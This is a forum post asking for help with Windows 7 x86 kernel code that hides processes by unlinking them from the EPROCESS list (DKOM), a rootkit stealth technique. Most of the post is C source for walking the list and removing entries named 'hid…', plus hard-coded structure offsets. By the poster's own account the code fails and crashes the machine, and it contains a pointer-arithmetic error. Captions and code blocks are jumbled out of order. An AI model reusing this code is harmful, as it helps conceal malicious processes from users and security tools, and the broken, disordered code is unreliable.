I'm experimenting with hiding a process through EPROCESS dkom. The idea is simple enough - acquire a pointer to an object in EPROCESS list, iterate, delete the entry you like. I believe I have done an implementation of the above idea - here is the code:
Some utility functions:
Some utility functions:
Code: Select all
The actual function that does the pointer manipulation (process removal):int getPid(char *eproc) {
int *pid;
pid = (int *)(eproc + EPROCESS_PID_OFFSET);
return *pid;
}
char * nextEproc(char *eproc) {
char *flink;
LIST_ENTRY entry;
entry = *(LIST_ENTRY *)(eproc + EPROCESS_LIST_OFFSET);
flink = (char *)entry.Flink;
return flink - EPROCESS_LIST_OFFSET;
}
char * prevEproc(char *eproc) {
char *blink;
LIST_ENTRY entry;
entry = *(LIST_ENTRY *)(eproc + EPROCESS_LIST_OFFSET);
blink = (char *)entry.Blink;
return blink - EPROCESS_LIST_OFFSET;
}
char * getName(char *eproc) {
return eproc + EPROCESS_NAME_OFFSET;
}
Code: Select all
And the "main" function which glues everything together: char * removeProc(char *eproc) {
char *nextN;
char *prevN;
PLIST_ENTRY prevEntry;
PLIST_ENTRY nextEntry;
PLIST_ENTRY currEntry;
nextN = nextEproc(eproc);
prevN = prevEproc(eproc);
prevEntry = (PLIST_ENTRY)prevN + EPROCESS_LIST_OFFSET;
nextEntry = (PLIST_ENTRY)nextN + EPROCESS_LIST_OFFSET;
currEntry = (PLIST_ENTRY)eproc + EPROCESS_LIST_OFFSET;
//make previous skip us
prevEntry->Flink = nextEntry;
//make forward skip us
nextEntry->Blink = prevEntry;
//point to ourselves
currEntry->Flink = currEntry->Blink = currEntry;
DbgPrint("Successfully modified eproc list\n");
//return pointer to the nextEproc
return nextN;
}
Code: Select all
And the hard-coded constants, based on windows 7 x32:void hideProc() {
char name[16];
char *currentProc;
char *currentName;
int currentPid;
int startPid;
int count;
int fuse = 100;
count = 0;
name[15] = '\0';
currentProc = (char *)PsGetCurrentProcess();
startPid = currentPid = getPid(currentProc);
strncpy(name, getName(currentProc), 15); //we copy only 15 because the 16th is set to \0
DbgPrint("Starting process enumeration: current pid %d with name %s\n", startPid, name);
currentProc = nextEproc(currentProc);
currentPid = getPid(currentProc);
while(startPid != currentPid) {
strncpy(name, getName(currentProc), 15);
DbgPrint("[Proc: %d] PID: %d Name: %s\n", count, currentPid, name);
if(name[0] == 'h' && name[1] == 'i' && name[2] == 'd') {
currentProc = removeProc(currentProc);
currentPid = getPid(currentProc);
continue;
}
currentProc = nextEproc(currentProc);
currentPid = getPid(currentProc);
if(fuse == 0)
break;
fuse--;
count++;
}
}
Code: Select all
Basically I iterate through the EPROCESS list and look for processes whose name start with hid and delete it from the eprocess. The thing is after this is completed when I open task manager I can see my process int he process list and also I silently corrupt memory somewhere because after an arbitrary amount of time my VM crashes with different faults.#define EPROCESS_PID_OFFSET 0x0b4
#define EPROCESS_LIST_OFFSET 0x0b8
#define EPROCESS_NAME_OFFSET 0x16c